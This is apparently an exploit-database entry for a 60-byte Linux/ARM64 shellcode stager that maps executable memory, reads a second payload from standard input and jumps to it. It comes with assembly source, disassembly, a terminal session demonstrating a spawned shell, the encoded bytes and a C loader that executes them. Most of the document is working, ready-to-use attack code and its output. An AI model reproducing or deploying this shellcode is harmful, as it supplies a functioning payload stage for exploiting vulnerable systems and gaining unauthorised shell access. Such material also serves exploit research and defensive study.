60 bytes small Linux/ARM64 mmap() + read() stager + execve("/bin/sh", NULL, NULL) shellcode.
11de2db4615bf823e1a5a83ef3d9ebe5/*
# Title: Linux/ARM64 - mmap() + read() stager + execve("/bin/sh", NULL, NULL) Shellcode (60 Bytes)
# Date: 2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c
ubuntu@ubuntu:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu Xenial Xerus (development branch)
Release: 16.04
Codename: xenial
ubuntu@ubuntu:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
ubuntu@ubuntu:~/works$ cat stager.s
.section .text
.global _start
_start:
// *ret = mmap(0, 0x1000, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0)
mov x8, #222 // Systemcall Number = 222 (mmap)
mov x0, xzr // args[0] = 0x0
mov x3, 0x22 // args[3] = 0x22
mvn x4, xzr // args[4] = -1 (0xffffffffffffffff)
mov x5, xzr // args[5] = 0x0
lsr x2, x4, #61 // args[2] = 0x7
add x1, x2, #0xFF9 // args[1] = 0x1000
svc #0x1337 // Invoke Systemcall
//read(0, *ret, 0x1000)
mov x2, x1 // args[2] = 0x1000
add x1, x0, xzr, lsl #12 // args[1] = *ret
mov x10, x1 // save *ret to x10
mov x0, xzr // args[0] = 0x0
mov x8, #63 // Systemcall Number = 63 (read)
svc #0x1337 // Invoke Systemcall
br x10 // Jump to loaded shellcode
ubuntu@ubuntu:~/works$ as -o stager.o stager.s && ld -o stager stager.o
ubuntu@ubuntu:~/works$ objdump -d ./stager
./stager: file format elf64-littleaarch64
Disassembly of section .text:
0000000000400078 <_start>:
400078: d2801bc8 mov x8, #0xde // #222
40007c: aa1f03e0 mov x0, xzr
400080: d2800443 mov x3, #0x22 // #34
400084: aa3f03e4 mvn x4, xzr
400088: aa1f03e5 mov x5, xzr
40008c: d37dfc82 lsr x2, x4, #61
400090: 913fe441 add x1, x2, #0xff9
400094: d40266e1 svc #0x1337
400098: aa0103e2 mov x2, x1
40009c: 8b1f3001 add x1, x0, xzr, lsl #12
4000a0: aa0103ea mov x10, x1
4000a4: aa1f03e0 mov x0, xzr
4000a8: d28007e8 mov x8, #0x3f // #63
4000ac: d40266e1 svc #0x1337
4000b0: d61f0140 br x10
ubuntu@ubuntu:~/works$ (echo -en "\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"; cat) | ./stager
id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),107(netdev)
exit
ubuntu@ubuntu:~/works$ objcopy -O binary stager stager.bin
ubuntu@ubuntu:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' stager.bin && echo
\xc8\x1b\x80\xd2\xe0\x03\x1f\xaa\x43\x04\x80\xd2\xe4\x03\x3f\xaa\xe5\x03\x1f\xaa\x82\xfc\x7d\xd3\x41\xe4\x3f\x91\xe1\x66\x02\xd4\xe2\x03\x01\xaa\x01\x30\x1f\x8b\xea\x03\x01\xaa\xe0\x03\x1f\xaa\xe8\x07\x80\xd2\xe1\x66\x02\xd4\x40\x01\x1f\xd6
*/
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] =
"\xc8\x1b\x80\xd2\xe0\x03\x1f\xaa\x43\x04\x80\xd2\xe4\x03\x3f\xaa"
"\xe5\x03\x1f\xaa\x82\xfc\x7d\xd3\x41\xe4\x3f\x91\xe1\x66\x02\xd4"
"\xe2\x03\x01\xaa\x01\x30\x1f\x8b\xea\x03\x01\xaa\xe0\x03\x1f\xaa"
"\xe8\x07\x80\xd2\xe1\x66\x02\xd4\x40\x01\x1f\xd6";
int main(int argc, char **argv) {
printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;
sc();
return 0;
}